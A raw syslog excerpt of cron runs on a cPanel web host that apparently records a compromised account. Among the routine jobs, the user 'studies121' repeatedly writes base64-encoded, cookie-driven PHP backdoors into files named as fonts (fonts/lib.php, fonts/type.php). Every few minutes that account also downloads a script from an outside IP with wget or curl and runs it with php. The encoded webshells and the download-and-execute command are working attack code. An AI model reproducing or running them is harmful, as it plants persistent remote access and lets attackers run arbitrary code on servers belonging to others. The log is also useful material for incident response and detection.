Sep  6 04:01:01 ip-184-168-122-23 CROND[8566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:01:01 ip-184-168-122-23 CROND[8569]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 04:01:01 ip-184-168-122-23 CROND[8570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:01:01 ip-184-168-122-23 CROND[8571]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 04:01:01 ip-184-168-122-23 CROND[8568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:01:01 ip-184-168-122-23 CROND[8567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8571]: starting 0anacron
Sep  6 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8587]: finished 0anacron
Sep  6 04:02:01 ip-184-168-122-23 CROND[8663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:02:01 ip-184-168-122-23 CROND[8664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:02:01 ip-184-168-122-23 CROND[8665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:02:01 ip-184-168-122-23 CROND[8666]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:02:01 ip-184-168-122-23 CROND[8667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:03:01 ip-184-168-122-23 CROND[8750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:03:01 ip-184-168-122-23 CROND[8752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:03:01 ip-184-168-122-23 CROND[8751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:03:01 ip-184-168-122-23 CROND[8753]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:04:01 ip-184-168-122-23 CROND[8831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:04:01 ip-184-168-122-23 CROND[8834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:04:01 ip-184-168-122-23 CROND[8833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:04:01 ip-184-168-122-23 CROND[8835]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:04:01 ip-184-168-122-23 CROND[8836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:05:01 ip-184-168-122-23 CROND[8928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:05:01 ip-184-168-122-23 CROND[8932]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 04:05:01 ip-184-168-122-23 CROND[8930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:05:01 ip-184-168-122-23 CROND[8933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:05:01 ip-184-168-122-23 CROND[8936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:05:01 ip-184-168-122-23 CROND[8934]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:05:01 ip-184-168-122-23 CROND[8935]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:06:01 ip-184-168-122-23 CROND[9044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:06:01 ip-184-168-122-23 CROND[9045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:06:01 ip-184-168-122-23 CROND[9046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:06:01 ip-184-168-122-23 CROND[9047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:06:01 ip-184-168-122-23 CROND[9048]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:07:01 ip-184-168-122-23 CROND[9246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:07:01 ip-184-168-122-23 CROND[9248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:07:01 ip-184-168-122-23 CROND[9250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:07:01 ip-184-168-122-23 CROND[9249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:08:01 ip-184-168-122-23 CROND[9343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:08:01 ip-184-168-122-23 CROND[9344]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:08:01 ip-184-168-122-23 CROND[9345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:08:01 ip-184-168-122-23 CROND[9346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:08:01 ip-184-168-122-23 CROND[9347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:09:01 ip-184-168-122-23 CROND[9453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:09:01 ip-184-168-122-23 CROND[9454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:09:01 ip-184-168-122-23 CROND[9458]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 04:09:01 ip-184-168-122-23 CROND[9456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:09:01 ip-184-168-122-23 CROND[9457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:10:02 ip-184-168-122-23 CROND[9574]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 04:10:02 ip-184-168-122-23 CROND[9573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:10:02 ip-184-168-122-23 CROND[9577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:10:02 ip-184-168-122-23 CROND[9579]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:10:02 ip-184-168-122-23 CROND[9576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:10:02 ip-184-168-122-23 CROND[9580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:10:02 ip-184-168-122-23 CROND[9575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:10:02 ip-184-168-122-23 CROND[9578]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:11:01 ip-184-168-122-23 CROND[9673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:11:01 ip-184-168-122-23 CROND[9674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:11:01 ip-184-168-122-23 CROND[9676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:11:01 ip-184-168-122-23 CROND[9675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:12:01 ip-184-168-122-23 CROND[9763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:12:01 ip-184-168-122-23 CROND[9765]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:12:01 ip-184-168-122-23 CROND[9764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:12:01 ip-184-168-122-23 CROND[9766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:12:01 ip-184-168-122-23 CROND[9762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
